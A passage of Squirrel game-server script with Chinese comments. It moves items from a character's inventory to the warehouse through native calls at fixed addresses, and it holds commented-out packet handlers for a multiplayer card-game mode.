inventoryItemCount = Sq_CallFunc(S_Ptr("0x80F783A"), "int", ["pointer"], ItemObj.C_Object); // 获取物品是否可堆叠 local checkStackableLimit = Sq_CallFunc(S_Ptr("0x08501A79"), "int", ["int", "int"], cargoItemId, cargoItemCount + inventoryItemCount); // 尝试将物品储存至角色仓库中 local tryAddStackItem = Sq_CallFunc(S_Ptr("0x0850B4B0"), "int", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot); if (tryAddStackItem >= 0) { // 正式将物品插入角色仓库中 Sq_CallFunc(S_Ptr("0x850b672"), "pointer", ["pointer", "pointer", "int"], CargoObj, ItemObj.C_Object, CargoSlot); // 删除背包中的物品 ItemObj.Delete(); transferCount++; SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8); } // 处理可堆叠物品 if (checkStackableLimit == 0) { // 获取物品总数 local totalCount = cargoItemCount + inventoryItemCount; // 如果总数不超过上限,全部堆到仓库 if (totalCount <= getStackableLimit) { // 将物品堆到仓库 Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, totalCount); // 删除背包中的物品 ItemObj.Delete(); transferCount++; SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + inventoryItemCount, 8); } else { // 如果总数超过上限 // 将仓库的物品数量设置为最大数量 Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], cargoItemObj.C_Object, getStackableLimit); // 将背包数量减去转移至仓库的数量 local transferAmount = getStackableLimit - cargoItemCount; Sq_CallFunc(S_Ptr("0x80CB884"), "int", ["pointer", "int"], ItemObj.C_Object, totalCount - getStackableLimit); transferCount++; SUser.SendNotiPacketMessage("[ " + ItemName + " ]" + "成功入库 x " + transferAmount, 8); } } // 通知客户端更新背包 SUser.SendUpdateItemList(1, 0, i); } if (transferCount == 0) { SUser.SendNotiBox("没有可转移的物品!", 1); } // 通知客户端更新仓库 SUser.SendItemSpace(2); print(666); } Register_DPS_Pack(1, function(SUser, Pack) { printT(Pack); SUser.Send_DPS_Pack(1, { ttt = 1, }) }); // //收到查询我的战绩包 查询我的战绩 注意这个包不止我请求的时候要发 一局游戏结束了以后 你要主动刷这个包 // ClientSocketPackFuncMap.rawset(20092097, function(SUser, Jso) { // local evv = { // op = 20092098, // WinCount = 1, //胜利场次 // Ranking = 2, //排名 // OnlineRanking = 56, //跨服排名 // TicketCount = 3, //入场卷数量 // } // SUser.SendJso(evv); // }); // //收到开始匹配包 服务端进入匹配状态 告诉客户端开始匹配了 // ClientSocketPackFuncMap.rawset(20092001, function(SUser, Jso) { // local evv = { // op = 20092002, // } // SUser.SendJso(evv); // //这里添加的是定时任务 两秒后默认开局 在你那边你应该是正常匹配 然后开局了给客户端发消息 // Timer.SetTimeOut(function() { // //角色类 名字 职业 穿戴装备 // local Charac = { // Name = "测试角色", // Job = 8, // Equ = [26373, 107550220, 107560223, 107570188, 107520224, 107500233, 107510231, 107540209, 107580129, 107530192], // CardList = [0, 1, 2, 3, 1] // } // //这里发送角色类List 0号位是自己 然后顺时针坐玩家 发送主牌ID // local evv = { // op = 20092006, // CharacList = [Charac, Charac, Charac, Charac], // MainCard = 2 // } // SUser.SendJso(evv); // }, 500); // }); // //收到取消匹配包 服务端进入匹配状态 告诉客户端取消匹配了 // ClientSocketPackFuncMap.rawset(20092003, function(SUser, Jso) { // local evv = { // op = 20092004, // } // SUser.SendJso(evv); // }); // //收到出牌包 // ClientSocketPackFuncMap.rawset(20092007, function(SUser, Jso) { // //这里CardList 是玩家打出了它手上的第几张牌 而不是牌的ID List // local CardList = Jso.CardList; // //..... 这里需要对牌做校验 是不是相同的牌 或者万能牌 // //如果校验通过了 发送出牌回调包给客户端告诉他出牌成功 这里要告诉所有的牌桌上的玩家 如果是出牌人则发0 CharacId 其他人 要发他们那里对应的ID // local evv = { // op = 20092008, // CharacId = 1, // CardList = CardList // }; // SUser.SendJso(evv); // }); // //主动下发 回合信息包 20092010 要告诉客户端的玩家 现在是谁的回合 回合剩余时间多少秒 注意每个客户端的玩家你要发送不同的位置信息给他的 // local evv = { // //谁的回合 // RoundCharac = 0; // //剩余多少时间 (这个应该是在你的配置里) // RoundTime = 30; // }; // //主动下发 质疑包 20092012 要告诉客户端的玩家 谁要质疑 注意每个客户端的玩家你要发送不同的位置信息给他的 质疑翻牌信息 // local evv = { // //质疑玩家 // QuestionCharac = 0; // //质疑牌List (注意这里发的不是牌的位置了 是牌对应的ID 一开始分配的那个) // QuestionCardList = [0, 1, 2, 3, 1]; // }; // //主动下发 刷新玩家信息包 20092014 要告诉客户端的玩家 谁还剩多少血 0就是没血了 -1就是这个地方是没有玩家的 1就是还剩1滴血 // local evv = { // Charac = [0, -1, 1, -1] // }; // //主动下发 结算包 20092018 一局游戏结束了 发包给我 // local evv = { // //0 是你输了 1是你赢了 // Win = 0 // }; // //主动下发 牌桌显示公告 20092016 这个公告文字我会显示在牌桌上的 是你一些重要信息 比如谁打出了什么牌 质疑什么的之类的 // local evv = { // //消息 // Msg = "公告消息" // }; // //收到聊天信息包 // ClientSocketPackFuncMap.rawset(20092099, function(SUser, Jso) { // //这里是左下角聊天框打字发送上来的信息 // local MsgBuffer = Jso.Msg; // //转发给所有玩家 包括他自己 // local evv = { // op = 20092100, // Msg = MsgBuffer, // }; // SUser.SendJso(evv); // });